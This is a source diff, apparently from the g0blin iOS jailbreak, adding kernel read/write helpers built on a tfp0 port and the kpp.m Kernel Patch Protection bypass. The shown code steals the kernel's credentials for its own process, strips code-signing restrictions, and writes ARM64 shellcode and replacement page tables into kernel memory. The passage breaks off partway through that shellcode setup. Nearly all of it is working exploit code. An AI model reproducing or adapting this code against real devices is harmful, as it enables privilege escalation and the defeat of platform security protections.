+size_t tfp0_kread(uint64_t where, void *p, size_t size)
+{
+    int rv;
+    size_t offset = 0;
+    while (offset < size) {
+        mach_vm_size_t sz, chunk = 2048;
+        if (chunk > size - offset) {
+            chunk = size - offset;
+        }
+        rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
+        
+        if (rv || sz == 0) {
+            break;
+        }
+        
+        offset += sz;
+    }
+    return offset;
+}
+
+uint64_t rk64(uint64_t kaddr) {
+    uint64_t lower = rk32(kaddr);
+    uint64_t higher = rk32(kaddr + 4);
+    return ((higher << 32) | lower);
+}
+
+uint32_t rk32(uint64_t kaddr) {
+    kern_return_t err;
+    uint32_t val = 0;
+    mach_vm_size_t outsize = 0;
+    
+    // mach (for kern r/w primitives)
+    kern_return_t mach_vm_write(vm_map_t target_task,
+                                mach_vm_address_t address,
+                                vm_offset_t data,
+                                mach_msg_type_number_t dataCnt);
+
+    err = mach_vm_read_overwrite(tfp0,
+                                 (mach_vm_address_t)kaddr,
+                                 (mach_vm_size_t)sizeof(uint32_t),
+                                 (mach_vm_address_t)&val,
+                                 &outsize);
+    
+    if (err != KERN_SUCCESS) {
+        // printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0);
+        // sleep(3);
+        return 0;
+    }
+    
+    if (outsize != sizeof(uint32_t)) {
+        // printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
+        // sleep(3);
+        return 0;
+    }
+    
+    return val;
+}
+
+void wk64(uint64_t kaddr, uint64_t val) {
+    uint32_t lower = (uint32_t)(val & 0xffffffff);
+    uint32_t higher = (uint32_t)(val >> 32);
+    wk32(kaddr, lower);
+    wk32(kaddr + 4, higher);
+}
+
+void wk32(uint64_t kaddr, uint32_t val) {
+    if (tfp0 == MACH_PORT_NULL) {
+        // printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
+        // sleep(3);
+        return;
+    }
+    
+    kern_return_t err;
+    err = mach_vm_write(tfp0,
+                        (mach_vm_address_t)kaddr,
+                        (vm_offset_t)&val,
+                        (mach_msg_type_number_t)sizeof(uint32_t));
+    
+    if (err != KERN_SUCCESS) {
+        // printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
+        return;
+    }
+}
+
+
+size_t
+kread(uint64_t where, void *p, size_t size)
+{
+    
+    if(tfp0 == MACH_PORT_NULL) {
+        printf("[ERROR]: tfp0's port is null!\n");
+    }
+    
+    int rv;
+    size_t offset = 0;
+    while (offset < size) {
+        mach_vm_size_t sz, chunk = 2048;
+        if (chunk > size - offset) {
+            chunk = size - offset;
+        }
+        rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
+        
+        if (rv || sz == 0) {
+            printf("[ERROR]: error reading buffer at @%p\n", (void *)(offset + where));
+            break;
+        }
+        offset += sz;
+    }
+    return offset;
+}
+
+uint64_t
+kread_uint64(uint64_t where)
+{
+    uint64_t value = 0;
+    size_t sz = kread(where, &value, sizeof(value));
+    return (sz == sizeof(value)) ? value : 0;
+}
+
+uint32_t
+kread_uint32(uint64_t where)
+{
+    uint32_t value = 0;
+    size_t sz = kread(where, &value, sizeof(value));
+    return (sz == sizeof(value)) ? value : 0;
+}
+
+
+size_t kwrite(uint64_t where, const void *p, size_t size) {
+    int rv;
+    size_t offset = 0;
+    while (offset < size) {
+        size_t chunk = 2048;
+        if (chunk > size - offset) {
+            chunk = size - offset;
+        }
+        rv = mach_vm_write(tfp0,
+                           where + offset,
+                           (mach_vm_offset_t)p + offset,
+                           (mach_msg_type_number_t)chunk);
+        
+        if (rv) {
+            printf("[kernel] error copying buffer into region: @%p \n", (void *)(offset + where));
+                   break;
+        }
+        
+        offset +=chunk;
+    }
+    
+    return offset;
+}
+
+size_t kwrite_uint64(uint64_t where, uint64_t value) {
+    return kwrite(where, &value, sizeof(value));
+}
+
+size_t kwrite_uint32(uint64_t where, uint32_t value) {
+    return kwrite(where, &value, sizeof(value));
+}

kpp.h

@@ -0,0 +1,391 @@
+//
+//  kpp.h
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-26.
+//  Copyright © 2017 xerub. All rights reserved.
+//  Copyright © 2017 qwertyoruiop. All rights reserved.
+//
+
+#ifndef kpp_h
+#define kpp_h
+
+#include <dlfcn.h>
+#include <copyfile.h>
+#include <stdio.h>
+#include <spawn.h>
+#include <unistd.h>
+#include <mach/mach.h>
+#include <mach-o/dyld.h>
+#include <sys/stat.h>
+#include <sys/mount.h>
+#include <sys/utsname.h>
+#include <Foundation/Foundation.h>
+
+
+kern_return_t do_kpp(int nukesb, int uref, uint64_t kernbase, uint64_t slide, task_t tfp0);
+
+
+size_t kread(uint64_t where, void *p, size_t size);
+uint64_t kread_uint64(uint64_t where);
+uint32_t kread_uint32(uint64_t where);
+size_t kwrite(uint64_t where, const void *p, size_t size);
+size_t kwrite_uint64(uint64_t where, uint64_t value);
+size_t kwrite_uint32(uint64_t where, uint32_t value);
+
+void kx2(uint64_t fptr, uint64_t arg1, uint64_t arg2);
+uint32_t kx5(uint64_t fptr, uint64_t arg1, uint64_t arg2, uint64_t arg3, uint64_t arg4, uint64_t arg5);
+
+struct mac_policy_ops {
+    uint64_t mpo_audit_check_postselect;
+    uint64_t mpo_audit_check_preselect;
+    uint64_t mpo_bpfdesc_label_associate;
+    uint64_t mpo_bpfdesc_label_destroy;
+    uint64_t mpo_bpfdesc_label_init;
+    uint64_t mpo_bpfdesc_check_receive;
+    uint64_t mpo_cred_check_label_update_execve;
+    uint64_t mpo_cred_check_label_update;
+    uint64_t mpo_cred_check_visible;
+    uint64_t mpo_cred_label_associate_fork;
+    uint64_t mpo_cred_label_associate_kernel;
+    uint64_t mpo_cred_label_associate;
+    uint64_t mpo_cred_label_associate_user;
+    uint64_t mpo_cred_label_destroy;
+    uint64_t mpo_cred_label_externalize_audit;
+    uint64_t mpo_cred_label_externalize;
+    uint64_t mpo_cred_label_init;
+    uint64_t mpo_cred_label_internalize;
+    uint64_t mpo_cred_label_update_execve;
+    uint64_t mpo_cred_label_update;
+    uint64_t mpo_devfs_label_associate_device;
+    uint64_t mpo_devfs_label_associate_directory;
+    uint64_t mpo_devfs_label_copy;
+    uint64_t mpo_devfs_label_destroy;
+    uint64_t mpo_devfs_label_init;
+    uint64_t mpo_devfs_label_update;
+    uint64_t mpo_file_check_change_offset;
+    uint64_t mpo_file_check_create;
+    uint64_t mpo_file_check_dup;
+    uint64_t mpo_file_check_fcntl;
+    uint64_t mpo_file_check_get_offset;
+    uint64_t mpo_file_check_get;
+    uint64_t mpo_file_check_inherit;
+    uint64_t mpo_file_check_ioctl;
+    uint64_t mpo_file_check_lock;
+    uint64_t mpo_file_check_mmap_downgrade;
+    uint64_t mpo_file_check_mmap;
+    uint64_t mpo_file_check_receive;
+    uint64_t mpo_file_check_set;
+    uint64_t mpo_file_label_init;
+    uint64_t mpo_file_label_destroy;
+    uint64_t mpo_file_label_associate;
+    uint64_t mpo_ifnet_check_label_update;
+    uint64_t mpo_ifnet_check_transmit;
+    uint64_t mpo_ifnet_label_associate;
+    uint64_t mpo_ifnet_label_copy;
+    uint64_t mpo_ifnet_label_destroy;
+    uint64_t mpo_ifnet_label_externalize;
+    uint64_t mpo_ifnet_label_init;
+    uint64_t mpo_ifnet_label_internalize;
+    uint64_t mpo_ifnet_label_update;
+    uint64_t mpo_ifnet_label_recycle;
+    uint64_t mpo_inpcb_check_deliver;
+    uint64_t mpo_inpcb_label_associate;
+    uint64_t mpo_inpcb_label_destroy;
+    uint64_t mpo_inpcb_label_init;
+    uint64_t mpo_inpcb_label_recycle;
+    uint64_t mpo_inpcb_label_update;
+    uint64_t mpo_iokit_check_device;
+    uint64_t mpo_ipq_label_associate;
+    uint64_t mpo_ipq_label_compare;
+    uint64_t mpo_ipq_label_destroy;
+    uint64_t mpo_ipq_label_init;
+    uint64_t mpo_ipq_label_update;
+    uint64_t mpo_file_check_library_validation;
+    uint64_t mpo_vnode_notify_setacl;
+    uint64_t mpo_vnode_notify_setattrlist;
+    uint64_t mpo_vnode_notify_setextattr;
+    uint64_t mpo_vnode_notify_setflags;
+    uint64_t mpo_vnode_notify_setmode;
+    uint64_t mpo_vnode_notify_setowner;
+    uint64_t mpo_vnode_notify_setutimes;
+    uint64_t mpo_vnode_notify_truncate;
+    uint64_t mpo_mbuf_label_associate_bpfdesc;
+    uint64_t mpo_mbuf_label_associate_ifnet;
+    uint64_t mpo_mbuf_label_associate_inpcb;
+    uint64_t mpo_mbuf_label_associate_ipq;
+    uint64_t mpo_mbuf_label_associate_linklayer;
+    uint64_t mpo_mbuf_label_associate_multicast_encap;
+    uint64_t mpo_mbuf_label_associate_netlayer;
+    uint64_t mpo_mbuf_label_associate_socket;
+    uint64_t mpo_mbuf_label_copy;
+    uint64_t mpo_mbuf_label_destroy;
+    uint64_t mpo_mbuf_label_init;
+    uint64_t mpo_mount_check_fsctl;
+    uint64_t mpo_mount_check_getattr;
+    uint64_t mpo_mount_check_label_update;
+    uint64_t mpo_mount_check_mount;
+    uint64_t mpo_mount_check_remount;
+    uint64_t mpo_mount_check_setattr;
+    uint64_t mpo_mount_check_stat;
+    uint64_t mpo_mount_check_umount;
+    uint64_t mpo_mount_label_associate;
+    uint64_t mpo_mount_label_destroy;
+    uint64_t mpo_mount_label_externalize;
+    uint64_t mpo_mount_label_init;
+    uint64_t mpo_mount_label_internalize;
+    uint64_t mpo_netinet_fragment;
+    uint64_t mpo_netinet_icmp_reply;
+    uint64_t mpo_netinet_tcp_reply;
+    uint64_t mpo_pipe_check_ioctl;
+    uint64_t mpo_pipe_check_kqfilter;
+    uint64_t mpo_pipe_check_label_update;
+    uint64_t mpo_pipe_check_read;
+    uint64_t mpo_pipe_check_select;
+    uint64_t mpo_pipe_check_stat;
+    uint64_t mpo_pipe_check_write;
+    uint64_t mpo_pipe_label_associate;
+    uint64_t mpo_pipe_label_copy;
+    uint64_t mpo_pipe_label_destroy;
+    uint64_t mpo_pipe_label_externalize;
+    uint64_t mpo_pipe_label_init;
+    uint64_t mpo_pipe_label_internalize;
+    uint64_t mpo_pipe_label_update;
+    uint64_t mpo_policy_destroy;
+    uint64_t mpo_policy_init;
+    uint64_t mpo_policy_initbsd;
+    uint64_t mpo_policy_syscall;
+    uint64_t mpo_system_check_sysctlbyname;
+    uint64_t mpo_proc_check_inherit_ipc_ports;
+    uint64_t mpo_vnode_check_rename;
+    uint64_t mpo_kext_check_query;
+    uint64_t mpo_iokit_check_nvram_get;
+    uint64_t mpo_iokit_check_nvram_set;
+    uint64_t mpo_iokit_check_nvram_delete;
+    uint64_t mpo_proc_check_expose_task;
+    uint64_t mpo_proc_check_set_host_special_port;
+    uint64_t mpo_proc_check_set_host_exception_port;
+    uint64_t mpo_exc_action_check_exception_send;
+    uint64_t mpo_exc_action_label_associate;
+    uint64_t mpo_exc_action_label_copy;
+    uint64_t mpo_exc_action_label_destroy;
+    uint64_t mpo_exc_action_label_init;
+    uint64_t mpo_exc_action_label_update;
+    uint64_t mpo_reserved1;
+    uint64_t mpo_reserved2;
+    uint64_t mpo_reserved3;
+    uint64_t mpo_reserved4;
+    uint64_t mpo_reserved5;
+    uint64_t mpo_reserved6;
+    uint64_t mpo_posixsem_check_create;
+    uint64_t mpo_posixsem_check_open;
+    uint64_t mpo_posixsem_check_post;
+    uint64_t mpo_posixsem_check_unlink;
+    uint64_t mpo_posixsem_check_wait;
+    uint64_t mpo_posixsem_label_associate;
+    uint64_t mpo_posixsem_label_destroy;
+    uint64_t mpo_posixsem_label_init;
+    uint64_t mpo_posixshm_check_create;
+    uint64_t mpo_posixshm_check_mmap;
+    uint64_t mpo_posixshm_check_open;
+    uint64_t mpo_posixshm_check_stat;
+    uint64_t mpo_posixshm_check_truncate;
+    uint64_t mpo_posixshm_check_unlink;
+    uint64_t mpo_posixshm_label_associate;
+    uint64_t mpo_posixshm_label_destroy;
+    uint64_t mpo_posixshm_label_init;
+    uint64_t mpo_proc_check_debug;
+    uint64_t mpo_proc_check_fork;
+    uint64_t mpo_proc_check_get_task_name;
+    uint64_t mpo_proc_check_get_task;
+    uint64_t mpo_proc_check_getaudit;
+    uint64_t mpo_proc_check_getauid;
+    uint64_t mpo_proc_check_getlcid;
+    uint64_t mpo_proc_check_mprotect;
+    uint64_t mpo_proc_check_sched;
+    uint64_t mpo_proc_check_setaudit;
+    uint64_t mpo_proc_check_setauid;
+    uint64_t mpo_proc_check_setlcid;
+    uint64_t mpo_proc_check_signal;
+    uint64_t mpo_proc_check_wait;
+    uint64_t mpo_proc_label_destroy;
+    uint64_t mpo_proc_label_init;
+    uint64_t mpo_socket_check_accept;
+    uint64_t mpo_socket_check_accepted;
+    uint64_t mpo_socket_check_bind;
+    uint64_t mpo_socket_check_connect;
+    uint64_t mpo_socket_check_create;
+    uint64_t mpo_socket_check_deliver;
+    uint64_t mpo_socket_check_kqfilter;
+    uint64_t mpo_socket_check_label_update;
+    uint64_t mpo_socket_check_listen;
+    uint64_t mpo_socket_check_receive;
+    uint64_t mpo_socket_check_received;
+    uint64_t mpo_socket_check_select;
+    uint64_t mpo_socket_check_send;
+    uint64_t mpo_socket_check_stat;
+    uint64_t mpo_socket_check_setsockopt;
+    uint64_t mpo_socket_check_getsockopt;
+    uint64_t mpo_socket_label_associate_accept;
+    uint64_t mpo_socket_label_associate;
+    uint64_t mpo_socket_label_copy;
+    uint64_t mpo_socket_label_destroy;
+    uint64_t mpo_socket_label_externalize;
+    uint64_t mpo_socket_label_init;
+    uint64_t mpo_socket_label_internalize;
+    uint64_t mpo_socket_label_update;
+    uint64_t mpo_socketpeer_label_associate_mbuf;
+    uint64_t mpo_socketpeer_label_associate_socket;
+    uint64_t mpo_socketpeer_label_destroy;
+    uint64_t mpo_socketpeer_label_externalize;
+    uint64_t mpo_socketpeer_label_init;
+    uint64_t mpo_system_check_acct;
+    uint64_t mpo_system_check_audit;
+    uint64_t mpo_system_check_auditctl;
+    uint64_t mpo_system_check_auditon;
+    uint64_t mpo_system_check_host_priv;
+    uint64_t mpo_system_check_nfsd;
+    uint64_t mpo_system_check_reboot;
+    uint64_t mpo_system_check_settime;
+    uint64_t mpo_system_check_swapoff;
+    uint64_t mpo_system_check_swapon;
+    uint64_t mpo_reserved7;
+    uint64_t mpo_sysvmsg_label_associate;
+    uint64_t mpo_sysvmsg_label_destroy;
+    uint64_t mpo_sysvmsg_label_init;
+    uint64_t mpo_sysvmsg_label_recycle;
+    uint64_t mpo_sysvmsq_check_enqueue;
+    uint64_t mpo_sysvmsq_check_msgrcv;
+    uint64_t mpo_sysvmsq_check_msgrmid;
+    uint64_t mpo_sysvmsq_check_msqctl;
+    uint64_t mpo_sysvmsq_check_msqget;
+    uint64_t mpo_sysvmsq_check_msqrcv;
+    uint64_t mpo_sysvmsq_check_msqsnd;
+    uint64_t mpo_sysvmsq_label_associate;
+    uint64_t mpo_sysvmsq_label_destroy;
+    uint64_t mpo_sysvmsq_label_init;
+    uint64_t mpo_sysvmsq_label_recycle;
+    uint64_t mpo_sysvsem_check_semctl;
+    uint64_t mpo_sysvsem_check_semget;
+    uint64_t mpo_sysvsem_check_semop;
+    uint64_t mpo_sysvsem_label_associate;
+    uint64_t mpo_sysvsem_label_destroy;
+    uint64_t mpo_sysvsem_label_init;
+    uint64_t mpo_sysvsem_label_recycle;
+    uint64_t mpo_sysvshm_check_shmat;
+    uint64_t mpo_sysvshm_check_shmctl;
+    uint64_t mpo_sysvshm_check_shmdt;
+    uint64_t mpo_sysvshm_check_shmget;
+    uint64_t mpo_sysvshm_label_associate;
+    uint64_t mpo_sysvshm_label_destroy;
+    uint64_t mpo_sysvshm_label_init;
+    uint64_t mpo_sysvshm_label_recycle;
+    uint64_t mpo_reserved8;
+    uint64_t mpo_reserved9;
+    uint64_t mpo_vnode_check_getattr;
+    uint64_t mpo_mount_check_snapshot_create;
+    uint64_t mpo_mount_check_snapshot_delete;
+    uint64_t mpo_vnode_check_clone;
+    uint64_t mpo_proc_check_get_cs_info;
+    uint64_t mpo_proc_check_set_cs_info;
+    uint64_t mpo_iokit_check_hid_control;
+    uint64_t mpo_vnode_check_access;
+    uint64_t mpo_vnode_check_chdir;
+    uint64_t mpo_vnode_check_chroot;
+    uint64_t mpo_vnode_check_create;
+    uint64_t mpo_vnode_check_deleteextattr;
+    uint64_t mpo_vnode_check_exchangedata;
+    uint64_t mpo_vnode_check_exec;
+    uint64_t mpo_vnode_check_getattrlist;
+    uint64_t mpo_vnode_check_getextattr;
+    uint64_t mpo_vnode_check_ioctl;
+    uint64_t mpo_vnode_check_kqfilter;
+    uint64_t mpo_vnode_check_label_update;
+    uint64_t mpo_vnode_check_link;
+    uint64_t mpo_vnode_check_listextattr;
+    uint64_t mpo_vnode_check_lookup;
+    uint64_t mpo_vnode_check_open;
+    uint64_t mpo_vnode_check_read;
+    uint64_t mpo_vnode_check_readdir;
+    uint64_t mpo_vnode_check_readlink;
+    uint64_t mpo_vnode_check_rename_from;
+    uint64_t mpo_vnode_check_rename_to;
+    uint64_t mpo_vnode_check_revoke;
+    uint64_t mpo_vnode_check_select;
+    uint64_t mpo_vnode_check_setattrlist;
+    uint64_t mpo_vnode_check_setextattr;
+    uint64_t mpo_vnode_check_setflags;
+    uint64_t mpo_vnode_check_setmode;
+    uint64_t mpo_vnode_check_setowner;
+    uint64_t mpo_vnode_check_setutimes;
+    uint64_t mpo_vnode_check_stat;
+    uint64_t mpo_vnode_check_truncate;
+    uint64_t mpo_vnode_check_unlink;
+    uint64_t mpo_vnode_check_write;
+    uint64_t mpo_vnode_label_associate_devfs;
+    uint64_t mpo_vnode_label_associate_extattr;
+    uint64_t mpo_vnode_label_associate_file;
+    uint64_t mpo_vnode_label_associate_pipe;
+    uint64_t mpo_vnode_label_associate_posixsem;
+    uint64_t mpo_vnode_label_associate_posixshm;
+    uint64_t mpo_vnode_label_associate_singlelabel;
+    uint64_t mpo_vnode_label_associate_socket;
+    uint64_t mpo_vnode_label_copy;
+    uint64_t mpo_vnode_label_destroy;
+    uint64_t mpo_vnode_label_externalize_audit;
+    uint64_t mpo_vnode_label_externalize;
+    uint64_t mpo_vnode_label_init;
+    uint64_t mpo_vnode_label_internalize;
+    uint64_t mpo_vnode_label_recycle;
+    uint64_t mpo_vnode_label_store;
+    uint64_t mpo_vnode_label_update_extattr;
+    uint64_t mpo_vnode_label_update;
+    uint64_t mpo_vnode_notify_create;
+    uint64_t mpo_vnode_check_signature;
+    uint64_t mpo_vnode_check_uipc_bind;
+    uint64_t mpo_vnode_check_uipc_connect;
+    uint64_t mpo_proc_check_run_cs_invalid;
+    uint64_t mpo_proc_check_suspend_resume;
+    uint64_t mpo_thread_userret;
+    uint64_t mpo_iokit_check_set_properties;
+    uint64_t mpo_system_check_chud;
+    uint64_t mpo_vnode_check_searchfs;
+    uint64_t mpo_priv_check;
+    uint64_t mpo_priv_grant;
+    uint64_t mpo_proc_check_map_anon;
+    uint64_t mpo_vnode_check_fsgetpath;
+    uint64_t mpo_iokit_check_open;
+    uint64_t mpo_proc_check_ledger;
+    uint64_t mpo_vnode_notify_rename;
+    uint64_t mpo_vnode_check_setacl;
+    uint64_t mpo_vnode_notify_deleteextattr;
+    uint64_t mpo_system_check_kas_info;
+    uint64_t mpo_proc_check_cpumon;
+    uint64_t mpo_vnode_notify_open;
+    uint64_t mpo_system_check_info;
+    uint64_t mpo_pty_notify_grant;
+    uint64_t mpo_pty_notify_close;
+    uint64_t mpo_vnode_find_sigs;
+    uint64_t mpo_kext_check_load;
+    uint64_t mpo_kext_check_unload;
+    uint64_t mpo_proc_check_proc_info;
+    uint64_t mpo_vnode_notify_link;
+    uint64_t mpo_iokit_check_filter_properties;
+    uint64_t mpo_iokit_check_get_property;
+};
+
+kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
+kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
+kern_return_t mach_vm_protect(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection);
+kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
+
+#define ReadAnywhere32 kread_uint32
+#define WriteAnywhere32 kwrite_uint32
+#define ReadAnywhere64 kread_uint64
+#define WriteAnywhere64 kwrite_uint64
+
+#define copyin(to, from, size) kread(from, to, size)
+#define copyout(to, from, size) kwrite(to, from, size)
+
+
+#endif /* kpp_h */

kpp.m

@@ -0,0 +1,538 @@
+//
+//  kpp.m
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-26.
+//  Copyright © 2017 xerub. All rights reserved.
+//  Copyright © 2017 qwertyoruiop. All rights reserved.
+//
+
+#include "kpp.h"
+
+// @qwertyoruiop's KPP bypass
+
+#import "pte_stuff.h"
+#include "patchfinder64.h"
+
+
+#define CS_PLATFORM_BINARY  0x4000000    /* this is a platform binary */
+#define CS_INSTALLER        0x0000008    /* has installer entitlement */
+#define CS_GET_TASK_ALLOW   0x0000004    /* has get-task-allow entitlement */
+#define CS_RESTRICT         0x0000800    /* tell dyld to treat restricted */
+#define CS_HARD             0x0000100    /* don't load invalid pages */
+#define CS_KILL             0x0000200    /* kill process if it becomes invalid */
+
+
+uint64_t allprocs = 0x59AC60; // iPhone 6S - 10.3.2
+
+
+kern_return_t do_kpp(int nukesb, int uref, uint64_t kernbase, uint64_t slide, task_t tfp0) {
+    kern_return_t ret;
+    
+    uint64_t bsd_task=0;
+    uint64_t launchd_task = 0;
+    {
+        uint64_t proc = ReadAnywhere64(allprocs + kernbase);
+        NSLog(@"found procs at %llx", proc);
+        while (proc) {
+            uint32_t pid = ReadAnywhere32(proc+0x10);
+            if (pid == getpid()) {
+                bsd_task = proc;
+            } else
+                if (pid == 1) {
+                    launchd_task = proc;
+                }
+            
+            if (launchd_task && bsd_task) break;
+            
+            proc = ReadAnywhere64(proc);
+        }
+    }
+    uint64_t cred = ReadAnywhere64(bsd_task+0x100);
+    
+    uint64_t credpatch = 0;
+    uint64_t proc = bsd_task;
+    while (proc) {
+        uint32_t pid = ReadAnywhere32(proc+0x10);
+        uint32_t csflags = ReadAnywhere32(proc+0x2a8);
+        csflags |= CS_PLATFORM_BINARY|CS_INSTALLER|CS_GET_TASK_ALLOW;
+        csflags &= ~(CS_RESTRICT|CS_KILL|CS_HARD);
+        WriteAnywhere32(proc+0x2a8, csflags);
+        if (pid == 0) {
+            credpatch = ReadAnywhere64(proc+0x100);
+            break;
+        }
+        proc = ReadAnywhere64(proc);
+    }
+
+    uint64_t orig_cred = cred;
+
+    WriteAnywhere64(bsd_task+0x100, credpatch);
+
+    checkvad();
+    
+    
+    ////////////////////
+    
+    checkvad();
+    
+    uint64_t entryp;
+    
+    int rv = init_patchfinder(tfp0, kernbase, NULL);
+    if (rv != 0) {
+        printf("[ERROR]: could not initialize kernel\n");
+        ret = KERN_FAILURE;
+        goto cleanup;
+    }
+    
+    printf("[INFO]: sucessfully initialized kernel\n");
+    
+    uint64_t gStoreBase = find_gPhysBase();
+    printf("[INFO]: gStoreBase = %llx \n", gStoreBase);
+
+    gPhysBase = ReadAnywhere64(gStoreBase);
+    gVirtBase = ReadAnywhere64(gStoreBase+8);
+    printf("[INFO]: gPhysBase = %llx \n", gPhysBase);
+    printf("[INFO]: gVirtBase = %llx \n", gVirtBase);
+    
+    entryp = find_entry() + slide;
+    printf("[INFO]: entryp = %llx \n", entryp);
+    
+    uint64_t rvbar = entryp & (~0xFFF);
+    
+    uint64_t cpul = find_register_value(rvbar+0x40, 1);
+    
+    uint64_t optr = find_register_value(rvbar+0x50, 20);
+    if (uref) {
+        optr = ReadAnywhere64(optr) - gPhysBase + gVirtBase;
+    }
+    printf("[INFO]: optr = %llx \n", optr);
+    
+    uint64_t cpu_list = ReadAnywhere64(cpul - 0x10 /*the add 0x10, 0x10 instruction confuses findregval*/) - gPhysBase + gVirtBase;
+    uint64_t cpu = ReadAnywhere64(cpu_list);
+    
+    uint64_t pmap_store = find_kernel_pmap();
+    printf("[INFO]: pmap = %llx \n", pmap_store);
+    
+    level1_table = ReadAnywhere64(ReadAnywhere64(pmap_store));
+    printf("[INFO]: level1_table = %llx \n", level1_table);
+    
+
+    uint64_t shellcode = physalloc(0x4000);
+
+    /*
+     ldr x30, a
+     ldr x0, b
+     br x0
+     nop
+     a:
+     .quad 0
+     b:
+     .quad 0
+     none of that squad shit tho, straight gang shit. free rondonumbanine
+     */
+
+    WriteAnywhere32(shellcode + 0x100, 0x5800009e); /* trampoline for idlesleep */
+    WriteAnywhere32(shellcode + 0x100 + 4, 0x580000a0);
+    WriteAnywhere32(shellcode + 0x100 + 8, 0xd61f0000);
+
+    WriteAnywhere32(shellcode + 0x200, 0x5800009e); /* trampoline for deepsleep */
+    WriteAnywhere32(shellcode + 0x200 + 4, 0x580000a0);
+    WriteAnywhere32(shellcode + 0x200 + 8, 0xd61f0000);
+
+    char buf[0x100];
+    copyin(buf, optr, 0x100);
+    copyout(shellcode+0x300, buf, 0x100);
+
+    uint64_t physcode = findphys_real(shellcode);
+
+    printf("[INFO]: got phys at %llx for virt %llx\n", physcode, shellcode);
+
+    uint64_t idlesleep_handler = 0;
+
+    uint64_t plist[12]={0,0,0,0,0,0,0,0,0,0,0,0};
+    int z = 0;
+
+    int idx = 0;
+    int ridx = 0;
+    while (cpu) {
+        cpu = cpu - gPhysBase + gVirtBase;
+        if ((ReadAnywhere64(cpu+0x130) & 0x3FFF) == 0x100) {
+            printf("[ERROR]: already jailbroken, bailing out\n");
+            ret = KERN_ABORTED;
+            goto cleanup;
+        }
+
+
+        if (!idlesleep_handler) {
+            WriteAnywhere64(shellcode + 0x100 + 0x18, ReadAnywhere64(cpu+0x130)); // idlehandler
+            WriteAnywhere64(shellcode + 0x200 + 0x18, ReadAnywhere64(cpu+0x130) + 12); // deephandler
+
+            idlesleep_handler = ReadAnywhere64(cpu+0x130) - gPhysBase + gVirtBase;
+
+
+            uint32_t* opcz = malloc(0x1000);
+            copyin(opcz, idlesleep_handler, 0x1000);
+            idx = 0;
+            while (1) {
+                if (opcz[idx] == 0xd61f0000 /* br x0 */) {
+                    break;
+                }
+                idx++;
+            }
+            ridx = idx;
+            while (1) {
+                if (opcz[ridx] == 0xd65f03c0 /* ret */) {
+                    break;
+                }
+                ridx++;
+            }
+
+
+        }
+
+        printf("[INFO]: found cpu %x\n", ReadAnywhere32(cpu+0x330));
+        printf("[INFO]: found physz: %llx\n", ReadAnywhere64(cpu+0x130) - gPhysBase + gVirtBase);
+
+        plist[z++] = cpu+0x130;
+        cpu_list += 0x10;
+        cpu = ReadAnywhere64(cpu_list);
+    }
+
+
+    uint64_t shc = physalloc(0x4000);
+
+    uint64_t regi = find_register_value(idlesleep_handler+12, 30);
+    uint64_t regd = find_register_value(idlesleep_handler+24, 30);
+
+    printf("[INFO]: %llx - %llx\n", regi, regd);
+
+    for (int i = 0; i < 0x500/4; i++) {
+        WriteAnywhere32(shc+i*4, 0xd503201f);
+    }
+
+    /*
+     isvad 0 == 0x4000
+     */
+
+    uint64_t level0_pte = physalloc(isvad == 0 ? 0x4000 : 0x1000);
+
+    uint64_t ttbr0_real = find_register_value(idlesleep_handler + idx*4 + 24, 1);
+
+    printf("[INFO]: ttbr0: %llx %llx\n",ReadAnywhere64(ttbr0_real), ttbr0_real);
+
+    char* bbuf = malloc(0x4000);
+    copyin(bbuf, ReadAnywhere64(ttbr0_real) - gPhysBase + gVirtBase, isvad == 0 ? 0x4000 : 0x1000);
+    copyout(level0_pte, bbuf, isvad == 0 ? 0x4000 : 0x1000);
+
+    uint64_t physp = findphys_real(level0_pte);
+
+
+    WriteAnywhere32(shc,    0x5800019e); // ldr x30, #40
+    WriteAnywhere32(shc+4,  0xd518203e); // msr ttbr1_el1, x30
+    WriteAnywhere32(shc+8,  0xd508871f); // tlbi vmalle1
+    WriteAnywhere32(shc+12, 0xd5033fdf);  // isb
+    WriteAnywhere32(shc+16, 0xd5033f9f);  // dsb sy
+    WriteAnywhere32(shc+20, 0xd5033b9f);  // dsb ish
+    WriteAnywhere32(shc+24, 0xd5033fdf);  // isb
+    WriteAnywhere32(shc+28, 0x5800007e); // ldr x30, 8
+    WriteAnywhere32(shc+32, 0xd65f03c0); // ret
+    WriteAnywhere64(shc+40, regi);
+    WriteAnywhere64(shc+48, /* new ttbr1 */ physp);
+
+    shc+=0x100;
+    WriteAnywhere32(shc,    0x5800019e); // ldr x30, #40
+    WriteAnywhere32(shc+4,  0xd518203e); // msr ttbr1_el1, x30
+    WriteAnywhere32(shc+8,  0xd508871f); // tlbi vmalle1
+    WriteAnywhere32(shc+12, 0xd5033fdf);  // isb
+    WriteAnywhere32(shc+16, 0xd5033f9f);  // dsb sy
+    WriteAnywhere32(shc+20, 0xd5033b9f);  // dsb ish
+    WriteAnywhere32(shc+24, 0xd5033fdf);  // isb
+    WriteAnywhere32(shc+28, 0x5800007e); // ldr x30, 8
+    WriteAnywhere32(shc+32, 0xd65f03c0); // ret
+    WriteAnywhere64(shc+40, regd); /*handle deepsleep*/
+    WriteAnywhere64(shc+48, /* new ttbr1 */ physp);
+    shc-=0x100;
+    {
+        int n = 0;
+        WriteAnywhere32(shc+0x200+n, 0x18000148); n+=4; // ldr    w8, 0x28
+        WriteAnywhere32(shc+0x200+n, 0xb90002e8); n+=4; // str        w8, [x23]
+        WriteAnywhere32(shc+0x200+n, 0xaa1f03e0); n+=4; // mov     x0, xzr
